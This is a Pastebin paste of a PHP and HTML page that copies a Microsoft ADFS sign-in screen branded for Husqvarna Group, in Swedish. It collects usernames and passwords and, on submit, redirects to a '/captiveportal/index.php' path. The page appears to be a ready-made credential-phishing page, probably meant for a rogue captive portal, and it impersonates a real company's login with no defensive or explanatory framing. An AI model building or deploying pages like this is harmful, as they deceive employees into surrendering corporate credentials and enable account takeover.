Advertisement
Guest User

Untitled

a guest
Oct 3rd, 2016
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 22.24 KB | None | 0 0
  1. <?php
  2. $destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
  3. ?>
  4.  
  5. <!DOCTYPE html>
  6. <html lang="sv-SE">
  7.  
  8. <style type="text/css">
  9.  
  10.     * {
  11.         margin:0px;
  12.         padding:0px;
  13.     }
  14.     html, body
  15.     {
  16.         height:100%;
  17.         width:100%;
  18.         background-color:#e8e7e7;
  19.         color:#273a60;
  20.         font-weight:normal;
  21.         font-family:Arial, sans-serif;
  22.         min-width:500px;
  23.         -ms-overflow-style:-ms-autohiding-scrollbar;
  24.     }
  25.  
  26.     body
  27.     {
  28.         font-size:14px;
  29.     }
  30.  
  31.     #noScript { margin:16px; color:Black; }
  32.  
  33.     :lang(en-GB){quotes:'\2018' '\2019' '\201C' '\201D';}
  34.     :lang(zh){font-family:微软雅黑;}
  35.  
  36.     @-ms-viewport { width: device-width; }
  37.     @-moz-viewport { width: device-width; }
  38.     @-o-viewport { width: device-width; }
  39.     @-webkit-viewport { width: device-width;  }
  40.     @viewport { width: device-width; }
  41.  
  42.     /* Theme layout styles */
  43.  
  44.     #fullPage, #brandingWrapper
  45.     {
  46.         width:100%;
  47.         height:100%;
  48.         background-color:inherit;
  49.     }
  50.     #brandingWrapper
  51.     {
  52.         background-color:#ffffff;
  53.     }
  54.     #branding
  55.     {      
  56.     /* A background image will be added to the #branding element at run-time once the illustration image is configured in the theme.
  57.     Recommended image dimensions: 1420x1200 pixels, JPG or PNG, 200 kB average, 500 kB maximum. */
  58.     height:100%;
  59.     margin-right:500px; margin-left:0px;
  60.     background-color:inherit;
  61.     background-repeat: no-repeat;
  62.     background-position:center;
  63.     background-size:auto;
  64.     -webkit-background-size:auto;
  65.     -moz-background-size:auto;
  66.     -o-background-size:auto;
  67.  
  68. }
  69. #contentWrapper
  70. {
  71.     position:relative;
  72.     width:500px;    
  73.     height:100%;
  74.     overflow:auto;
  75.     background-color:#e8e7e7; /* for IE7 */
  76.     margin-left:-500px; margin-right:0px;
  77. }
  78. #content
  79. {
  80.     min-height:100%;
  81.     height: auto !important;
  82.     margin:0 auto -55px auto;
  83.     padding:0px 150px 0px 50px;
  84. }
  85. #header
  86. {
  87.     font-size:2em;
  88.     font-weight:lighter;
  89.     font-family:"Segoe UI Light" , "Segoe" , "SegoeUI-Light-final", Tahoma, Helvetica, Arial, sans-serif;
  90.     padding-top: 90px;
  91.     margin-bottom:60px;
  92.     min-height:100px;
  93.     overflow:hidden;
  94. }
  95. #header img
  96. {
  97.     /* Logo image recommended dimension: 60x60 (square) or 350X35 (elongated), 4 kB average, 10 kB maximum. Transparent PNG strongly recommended. */
  98.     width:auto;
  99.     height:auto;
  100. }
  101. #workArea, #header
  102. {
  103.     word-wrap:break-word;
  104.     width:350px;
  105. }
  106. #workArea
  107. {
  108.     margin-bottom:90px;
  109. }
  110. #footerPlaceholder
  111. {
  112.     height:40px;
  113. }
  114. #footer
  115. {
  116.     height:40px;
  117.     padding:10px 50px 0px 50px;
  118.     position:relative;
  119.     color:#666666;
  120.     font-size:0.78em;
  121. }
  122. #footerLinks
  123. {
  124.     float:none;
  125.     padding-top:10px;
  126. }
  127. #copyright {display:none; color:#273a60;}
  128. .pageLink { color:#ea632d; padding-left:16px; }
  129.  
  130. /* Common content styles */
  131.  
  132. .clear {clear:both;}
  133. .float { float:left; }
  134. .floatReverse { float:right; }
  135. .indent { margin-left:16px; }
  136. .indentNonCollapsible { padding-left:16px; }
  137. .hidden {display:none;}
  138. .notHidden {display:inherit;}
  139. .error { color:#c85305; }
  140. .actionLink { margin-bottom:8px; display:block; }
  141. a
  142. {
  143.     color:#2672ec;
  144.     text-decoration:none;
  145.     background-color:transparent;
  146. }
  147. ul { list-style-type: disc; }
  148. h1,h2,h3,h4,h5,label { margin-bottom: 8px; }
  149. .submitMargin { margin-top:0px; margin-bottom:30px; }
  150. .topFieldMargin { margin-top:8px; }
  151. .fieldMargin { margin-bottom:8px; }
  152. .groupMargin { margin-bottom:25px; }
  153. .sectionMargin { margin-bottom:64px; }
  154. .block { display: block; }
  155. .autoWidth { width:auto; }
  156. .fullWidth { width:342px; }
  157. .fullWidthIndent { width:326px; }
  158. input
  159. {
  160.     max-width:100%;
  161.     font-family:inherit;
  162.     margin-bottom:25px;
  163. }
  164. input[type="radio"], input[type="checkbox"] {
  165.     vertical-align:middle;
  166.     margin-bottom: 0px;
  167. }
  168. span.submit, input[type="submit"]
  169. {
  170.     border:none;
  171.     background-color:#273a60;
  172.     min-width:80px;
  173.     width:auto;
  174.     height:30px;
  175.     padding:4px 20px 6px 20px;
  176.     border-style:solid;
  177.     border-width:1px;
  178.     transition:background 0s;
  179.     color:rgb(255, 255, 255);
  180.     cursor:pointer;
  181.     margin-bottom:50px;
  182.    
  183.     -ms-user-select:none;
  184.     -moz-transition:background 0s;
  185.     -webkit-transition:background 0s;
  186.     -o-transition:background 0s;
  187.     -webkit-touch-callout:none;
  188.     -webkit-user-select:none;
  189.     -khtml-user-select:none;
  190.     -moz-user-select: none;
  191.     -o-user-select: none;
  192.     user-select:none;
  193. }
  194. input[type="submit"]:hover,span.submit:hover
  195. {
  196.     background: #D0CFCE;
  197. }
  198. input.text{
  199.     height:28px;
  200.     padding:0px 3px 0px 3px ;
  201.     border:solid 1px #D0CFCE;
  202. }
  203. input.text:focus
  204. {
  205.   border: 1px solid #6B6B6B;
  206. }
  207. select
  208. {
  209.     height:28px;
  210.     min-width:60px;
  211.     max-width:100%;
  212.     margin-bottom:50px;
  213.  
  214.     white-space:nowrap;
  215.     overflow:hidden;
  216.     box-shadow:none;
  217.     padding:2px;
  218.     font-family:inherit;
  219. }
  220. h1, .giantText
  221. {
  222.    font-size:2.0em;
  223.    font-weight:lighter;
  224. }          
  225. h2, .bigText
  226. {
  227.    font-size:1.33em;
  228.    font-weight:lighter;
  229. }
  230. h3, .normalText
  231. {
  232.     font-size:1.0em;
  233.     font-weight:normal;
  234. }
  235. h4, .smallText
  236. {
  237.     font-size:0.9em;
  238.     font-weight:normal;
  239. }
  240. h5, .tinyText
  241. {
  242.     font-size:0.8em;
  243.     font-weight:normal;
  244. }
  245. .hint
  246. {
  247.     color:#999999;
  248. }
  249. .emphasis
  250. {
  251.     font-weight:700;
  252.     color:#2F2F2F;
  253. }
  254. .smallIcon
  255. {
  256.     height:20px;
  257.     padding-right:12px;
  258.     vertical-align:middle;
  259. }
  260. .largeIcon
  261. {
  262.     height:48px;
  263.     /* width:48px; */
  264.     vertical-align:middle;
  265. }
  266. .largeTextNoWrap
  267. {
  268.     height:48px;
  269.     display:table-cell; /* needed when in float*/
  270.     vertical-align:middle;
  271.     white-space:nowrap;
  272.     font-size:1.2em;
  273. }
  274. .idp
  275. {
  276.     height:48px;
  277.     clear:both;
  278.     padding:8px;
  279.     overflow:hidden;
  280. }
  281. .idp:hover
  282. {
  283.     background-color:#cccccc;
  284. }
  285. .idpDescription
  286. {
  287.     width:80%;
  288. }
  289. .illustrationClass {
  290.     background-image:url(illustration.png);
  291. }
  292.  
  293. @media only screen and (max-width:800px) {
  294.    #branding
  295.    {      
  296.     /* A background image will be added to the #branding element at run-time once the illustration image is configured in the theme.
  297.     Recommended image dimensions: 1420x1200 pixels, JPG or PNG, 200 kB average, 500 kB maximum. */
  298.     height:100%;
  299.     margin-right:500px; margin-left:0px;
  300.     background-color:inherit;
  301.     background-repeat: no-repeat;
  302.     background-position:center;
  303.     background-size:80px;
  304. }
  305. }
  306.  
  307. /* Form factor: intermediate height layout. Reduce space of the header. */
  308. @media only screen and (max-height: 850px) {
  309.     #header {
  310.         padding-top: 40px;
  311.         min-height:0px;
  312.         overflow: hidden;
  313.     }
  314.  
  315.     #workArea
  316.     {
  317.         margin-bottom:60px;
  318.     }
  319. }
  320.  
  321. /* Form factor: intermediate height layout. Reduce space of the header. */
  322. @media only screen and (max-height: 500px) {
  323.     #header {
  324.         padding-top: 30px;
  325.         margin-bottom: 30px;
  326.     }
  327.     #workArea{
  328.         margin-bottom:40px;
  329.     }
  330. }
  331.  
  332. /* Form factor: intermediate layout (WAB in non-snapped view falls in here) */
  333. @media only screen and (max-width: 600px) {
  334.     html, body {
  335.         min-width: 260px;
  336.     }
  337.  
  338.     #brandingWrapper {
  339.         display: none;
  340.     }
  341.  
  342.     #contentWrapper {
  343.         float: none;
  344.         width: 100%;
  345.         margin: 0px auto;
  346.     }
  347.  
  348.     #content, #footer, #header {
  349.         width: 400px;
  350.         padding-left: 0px;
  351.         padding-right: 0px;
  352.         margin-left: auto;
  353.         margin-right: auto;
  354.     }
  355.  
  356.     #workArea {
  357.         width: 100%;
  358.     }
  359.  
  360.     .fullWidth {
  361.         width: 392px;
  362.     }
  363.  
  364.     .fullWidthIndent {
  365.         width: 376px;
  366.     }
  367. }
  368.  
  369. @media only screen and (max-width: 450px) {
  370.     body {
  371.         font-size: 14px;
  372.     }
  373.  
  374.     #content, #footer {
  375.         width:auto;
  376.         margin-right:33px;
  377.         margin-left:25px;
  378.     }
  379.  
  380.     #header {
  381.         width: auto;
  382.     }
  383.  
  384.     span.submit, input[type="submit"] {
  385.         font-size: 14px;
  386.     }
  387.  
  388.     .fullWidth
  389.     {
  390.         width:100%;
  391.         margin-left:auto;
  392.         margin-right:auto;
  393.     }
  394.  
  395.     .fullWidthIndent {
  396.         width: 85%;
  397.     }
  398.  
  399.     .idpDescription
  400.     {
  401.         width:70%;
  402.     }
  403. }
  404.  
  405. /* Form factor: snapped WAB (for WAB to work in snapped view, the content wrapper width has to be set to 260px) */
  406. @media only screen and (max-width:280px)
  407. {
  408.     #contentWrapper
  409.     {
  410.         width:260px;
  411.     }
  412.     .idpDescription
  413.     {
  414.         max-width:160px;
  415.         min-width:100px;
  416.     }
  417. }
  418.  
  419. #helpContent {margin-top:28px}
  420.  
  421. </style>
  422.  
  423.  
  424. <head>
  425.     <meta http-equiv="X-UA-Compatible" content="IE=10.000"/>
  426.     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
  427.     <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
  428.     <meta http-equiv="cache-control" content="no-cache,no-store"/>
  429.     <meta http-equiv="pragma" content="no-cache"/>
  430.     <meta http-equiv="expires" content="-1"/>
  431.     <meta name='mswebdialog-title' content='Connecting to  '/>
  432.  
  433.     <title>Logga in</title>
  434.     <script type="text/javascript">
  435.         function redirect() { setTimeout(function(){window.location = "/captiveportal/index.php";},100);}
  436.     </script>
  437.     <script type='text/javascript'>
  438. //<![CDATA[
  439. function LoginErrors(){this.userNameFormatError = 'Ange ditt anv\u0026#228;ndar-ID i formatet dom\u0026#228;n\\anv\u0026#228;ndare eller anv\u0026#228;ndare@dom\u0026#228;n.'; this.passwordEmpty = 'Ange l\u0026#246;senordet.';}
  440. //]]>
  441. </script>
  442.  
  443. <script type='text/javascript'>
  444. //<![CDATA[
  445. // Copyright (c) Microsoft Corporation.  All rights reserved.
  446. function InputUtil(errTextElementID, errDisplayElementID) {
  447.  
  448.    if (!errTextElementID)  errTextElementID = 'errorText';
  449.    if (!errDisplayElementID)  errDisplayElementID = 'error';
  450.  
  451.    this.hasFocus = false;
  452.    this.errLabel = document.getElementById(errTextElementID);
  453.    this.errDisplay = document.getElementById(errDisplayElementID);
  454. };
  455. InputUtil.prototype.canDisplayError = function () {
  456.    return this.errLabel && this.errDisplay;
  457. }
  458. InputUtil.prototype.checkError = function () {
  459.    if (!this.canDisplayError){
  460.        throw new Error ('Error element not present');
  461.    }
  462.    if (this.errLabel && this.errLabel.innerHTML) {
  463.        this.errDisplay.style.display = '';        
  464.        var cause = this.errLabel.getAttribute('for');
  465.        if (cause) {
  466.            var causeNode = document.getElementById(cause);
  467.            if (causeNode && causeNode.value) {
  468.                causeNode.focus();
  469.                this.hasFocus = true;
  470.            }
  471.        }
  472.    }
  473.    else {
  474.        this.errDisplay.style.display = 'none';
  475.    }
  476. };
  477. InputUtil.prototype.setInitialFocus = function (input) {
  478.    if (this.hasFocus) return;
  479.    var node = document.getElementById(input);
  480.    if (node) {
  481.        if ((/^\s*$/).test(node.value)) {
  482.            node.focus();
  483.            this.hasFocus = true;
  484.        }
  485.    }
  486. };
  487. InputUtil.prototype.setError = function (input, errorMsg) {
  488.    if (!this.canDisplayError) {
  489.        throw new Error('Error element not present');
  490.    }
  491.    input.focus();
  492.  
  493.    if (errorMsg) {
  494.        this.errLabel.innerHTML = errorMsg;
  495.    }
  496.    this.errLabel.setAttribute('for', input.id);
  497.    this.errDisplay.style.display = '';
  498. };
  499. InputUtil.makePlaceholder = function (input) {
  500.    var ua = navigator.userAgent;
  501.  
  502.    if (ua != null &&
  503.        (ua.match(/MSIE 9.0/) != null ||
  504.           ua.match(/MSIE 8.0/) != null ||
  505.           ua.match(/MSIE 7.0/) != null)) {
  506.        var node = document.getElementById(input);
  507.    if (node) {
  508.        var placeholder = node.getAttribute("placeholder");
  509.        if (placeholder != null && placeholder != '') {
  510.            var label = document.createElement('input');
  511.            label.type = "text";
  512.            label.value = placeholder;
  513.            label.readOnly = true;
  514.            label.style.position = 'absolute';
  515.            label.style.borderColor = 'transparent';
  516.            label.className = node.className + ' hint';
  517.            label.tabIndex = -1;
  518.            label.onfocus = function () { this.nextSibling.focus(); };
  519.  
  520.            node.style.position = 'relative';
  521.            node.parentNode.style.position = 'relative';
  522.            node.parentNode.insertBefore(label, node);
  523.            node.onkeyup = function () { InputUtil.showHint(this); };
  524.            node.onblur = function () { InputUtil.showHint(this); };
  525.            node.style.background = 'transparent';
  526.  
  527.            node.setAttribute("placeholder", "");
  528.            InputUtil.showHint(node);
  529.        }
  530.    }
  531. }
  532. };
  533. InputUtil.focus = function (inputField) {
  534.    var node = document.getElementById(inputField);
  535.    if (node) node.focus();
  536. };
  537. InputUtil.hasClass = function(node, clsName) {
  538.    return node.className.match(new RegExp('(\\s|^)' + clsName + '(\\s|$)'));
  539. };
  540. InputUtil.addClass = function(node, clsName) {
  541.    if (!this.hasClass(node, clsName)) node.className += " " + clsName;
  542. };
  543. InputUtil.removeClass = function(node, clsName) {
  544.    if (this.hasClass(node, clsName)) {
  545.        var reg = new RegExp('(\\s|^)' + clsName + '(\\s|$)');
  546.        node.className = node.className.replace(reg, ' ');
  547.    }
  548. };
  549. InputUtil.showHint = function (node, gotFocus) {
  550.    if (node.value && node.value != '') {
  551.        node.previousSibling.style.display = 'none';
  552.    }
  553.    else {
  554.        node.previousSibling.style.display = '';
  555.    }
  556. };
  557. //]]>
  558. </script>
  559.  
  560. </head>
  561. <body dir="ltr" class="body">
  562.     <div id="noScript" style="position:static; width:100%; height:100%; z-index:100">
  563.         <h1>JavaScript kr&#228;vs</h1>
  564.         <p>JavaScript kr&#228;vs. Den h&#228;r webbl&#228;saren har inte st&#246;d f&#246;r JavaScript eller ocks&#229; &#228;r JavaScript inte aktiverat.</p>
  565.         <p>I hj&#228;lpen f&#246;r webbl&#228;saren ser du om webbl&#228;saren har st&#246;d f&#246;r JavaScript eller hur du aktiverar JavaScript.</p>
  566.     </div>
  567.     <script type="text/javascript" language="JavaScript">
  568.        document.getElementById("noScript").style.display = "none";
  569.    </script>
  570.    <div id="fullPage">
  571.     <div id="brandingWrapper" class="float">
  572.         <div id="branding" class="illustrationClass"></div>
  573.     </div>
  574.     <div id="contentWrapper" class="float">
  575.         <div id="content">
  576.             <div id="header">
  577.  
  578.             </div>
  579.             <div id="workArea">
  580.  
  581.                 <div id="authArea" class="groupMargin">
  582.  
  583.  
  584.                     <div id="loginArea">        
  585.                         <div id="loginMessage" class="groupMargin">Logga in med ditt organisationskonto</div>
  586.  
  587.                         <form
  588.                        method="post"
  589.                        id="loginForm"
  590.                        autocomplete="off"
  591.                        novalidate="novalidate"
  592.                        onKeyPress="if (event && event.keyCode == 13) Login.submitLoginRequest();"
  593.                        onsubmit="redirect()"
  594.                        action="https://husqvarnagroup.sharepoint.com" >
  595.                         <input type="hidden" name="target" value="<?=$destination?>">
  596.                         <div id="error" class="fieldMargin error smallText">
  597.                             <label id="errorText" for=""></label>
  598.                         </div>
  599.  
  600.                         <div id="formsAuthenticationArea">
  601.                             <div id="userNameArea">
  602.                                 <input id="userNameInput" name="UserName" type="email" value="" tabindex="1" class="text fullWidth"
  603.                                spellcheck="false" placeholder="namn@example.com" autocomplete="off"/>    
  604.                             </div>
  605.  
  606.                             <div id="passwordArea">
  607.                                <input id="passwordInput" name="Password" type="password" tabindex="2" class="text fullWidth"
  608.                               placeholder="L&#246;senord" autocomplete="off"/>                                  
  609.                            </div>
  610.                            <div id="kmsiArea" style="display:none">
  611.                             <input type="checkbox" name="Kmsi" id="kmsiInput" value="true" tabindex="3" />
  612.                             <label for="kmsiInput">Jag vill f&#246;rbli inloggad</label>
  613.                         </div>
  614.                         <div id="submissionArea" class="submitMargin">
  615.                             <span id="submitButton" class="submit" tabindex="4"
  616.                            onKeyPress="if (event && event.keyCode == 32) Login.submitLoginRequest();"
  617.                            onclick="return Login.submitLoginRequest();">Logga in</span>
  618.                         </div>
  619.                     </div>
  620.                     <input id="optionForms" type="hidden" name="AuthMethod" value="FormsAuthentication"/>
  621.                 </form>
  622.  
  623.                 <div id="introduction" class="groupMargin">
  624.  
  625.                 </div>
  626.  
  627.                 <script type="text/javascript">
  628.         //<![CDATA[
  629.  
  630.        function Login() {
  631.        }
  632.  
  633.        Login.userNameInput = 'userNameInput';
  634.        Login.passwordInput = 'passwordInput';
  635.  
  636.        Login.initialize = function () {
  637.  
  638.            var u = new InputUtil();
  639.  
  640.            u.checkError();
  641.            u.setInitialFocus(Login.userNameInput);
  642.            u.setInitialFocus(Login.passwordInput);
  643.        }();
  644.  
  645.        Login.submitLoginRequest = function () {
  646.            var u = new InputUtil();
  647.            var e = new LoginErrors();
  648.  
  649.            var userName = document.getElementById(Login.userNameInput);
  650.            var password = document.getElementById(Login.passwordInput);
  651.  
  652.            if (!userName.value || !userName.value.match('[@\\\\]')) {
  653.                u.setError(userName, e.userNameFormatError);
  654.                return false;
  655.            }
  656.  
  657.            if (!password.value) {
  658.                u.setError(password, e.passwordEmpty);
  659.                return false;
  660.            }
  661.  
  662.            document.forms['loginForm'].submit();
  663.            return false;
  664.        };
  665.  
  666.        InputUtil.makePlaceholder(Login.userNameInput);
  667.        InputUtil.makePlaceholder(Login.passwordInput);
  668.        //]]>
  669.     </script>
  670. </div>
  671.  
  672. </div>
  673.  
  674. </div>
  675. <div id="footerPlaceholder"></div>
  676. </div>
  677. <div id="footer">
  678.     <div id="footerLinks" class="floatReverse">
  679.        <div><span id="copyright">&#169; 2013 Microsoft</span><a id="helpDesk" class="pageLink" href="javascript:OpenHelp()">Need help signing on? Contact Husqvarna Group IT Service Desk</a></div>
  680.    </div>
  681. </div>
  682. </div>
  683. </div>
  684. <script type='text/javascript'>
  685. //<![CDATA[
  686. // Copyright (c) Microsoft Corporation.  All rights reserved.
  687.  
  688. // This file contains several workarounds on inconsistent browser behaviors that administrators may customize.
  689. "use strict";
  690.  
  691. // iPhone email friendly keyboard does not include "\" key, use regular keyboard instead.
  692. // Note change input type does not work on all versions of all browsers.
  693. if (navigator.userAgent.match(/iPhone/i) != null) {
  694.    var emails = document.querySelectorAll("input[type='email']");
  695.    if (emails) {
  696.        for (var i = 0; i < emails.length; i++) {
  697.            emails[i].type = 'text';
  698.        }
  699.    }
  700. }
  701.  
  702. // In the CSS file we set the ms-viewport to be consistent with the device dimensions,
  703. // which is necessary for correct functionality of immersive IE.
  704. // However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original
  705. // values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.
  706. // Windows 8 phone has agent string 'IEMobile 10.0'
  707. if (navigator.userAgent.match(/IEMobile\/10\.0/)) {
  708.    var msViewportStyle = document.createElement("style");
  709.    msViewportStyle.appendChild(
  710.        document.createTextNode(
  711.            "@-ms-viewport{width:auto!important}"
  712.            )
  713.        );
  714.    msViewportStyle.appendChild(
  715.        document.createTextNode(
  716.            "@-ms-viewport{height:auto!important}"
  717.            )
  718.        );
  719.    document.getElementsByTagName("head")[0].appendChild(msViewportStyle);
  720. }
  721.  
  722. // If the innerWidth is defined, use it as the viewport width.
  723. if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {
  724.    var viewport = document.querySelector("meta[name=viewport]");
  725.    viewport.setAttribute('content', 'width=' + window.innerWidth + 'px; initial-scale=1.0; maximum-scale=1.0');
  726. }
  727.  
  728. // Gets the current style of a specific property for a specific element.
  729. function getStyle(element, styleProp) {
  730.    var propStyle = null;
  731.  
  732.    if (element && element.currentStyle) {
  733.        propStyle = element.currentStyle[styleProp];
  734.    }
  735.    else if (element && window.getComputedStyle) {
  736.        propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);
  737.    }
  738.  
  739.    return propStyle;
  740. }
  741.  
  742. // Check whether the loginMessage element is present on this page.
  743. var loginMessage = document.getElementById('loginMessage');
  744. if (loginMessage)
  745. {
  746.       // loginMessage element is present, modify its properties.
  747.       loginMessage.innerHTML = 'Sign in with your <b>Husqvarna Group ID</b>';
  748.   }
  749.  
  750.  
  751.   function OpenHelp() {
  752.    document.getElementById("helpContent").style.display = "block";
  753.    document.getElementById("authArea").style.display = "none";
  754.    document.getElementById("header").style.display = "none";
  755. }
  756. function CloseHelp() {
  757.    document.getElementById("helpContent").style.display = "none";
  758.    document.getElementById("authArea").style.display = "block";
  759.    document.getElementById("header").style.display = "block";
  760. }
  761. function CallHelpFile(n) {
  762.    var t = new XMLHttpRequest;
  763.    t.open("GET", n, !0);
  764.    t.onreadystatechange = function () {
  765.        t.readyState == 4 && (document.getElementById("helpContent").innerHTML = t.responseText);
  766.    };
  767.    t.send(null);
  768. }
  769.  
  770. var workArea, helpContent, authArea, helpDesk
  771. workArea = document.getElementById("workArea");
  772. if(workArea != null){
  773.    helpContent = document.createElement("div")
  774.    helpContent.setAttribute("id", "helpContent")
  775.    helpContent.setAttribute("class", "groupMargin")
  776.    helpContent.style.display = "none"
  777.    workArea.appendChild(helpContent)
  778. }
  779. authArea = document.getElementById("authArea")
  780. helpDesk = document.getElementById("helpDesk")
  781. if(authArea != null) {
  782.    CallHelpFile("/adfs/portal/script/help.js")
  783. }
  784. //]]>
  785. </script>
  786.  
  787.  
  788. </body>
  789. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement